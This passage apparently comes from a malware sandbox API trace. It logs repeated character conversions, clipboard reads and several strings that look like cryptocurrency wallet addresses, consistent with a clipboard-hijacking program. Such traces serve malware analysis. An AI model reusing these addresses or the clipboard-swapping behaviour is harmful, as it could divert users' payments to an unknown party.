lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0052.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0052.376] Sleep (dwMilliseconds=0x64) [0052.496] GetOpenClipboardWindow () returned 0x0 [0052.497] OpenClipboard (hWndNewOwner=0x0) returned 1 [0052.497] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0052.497] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0052.497] GlobalSize (hMem=0x6069b8) returned 0x42 [0052.497] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0052.497] GlobalUnlock (hMem=0x6069b8) returned 1 [0052.497] CloseClipboard () returned 1 [0052.497] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.497] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.497] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0052.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 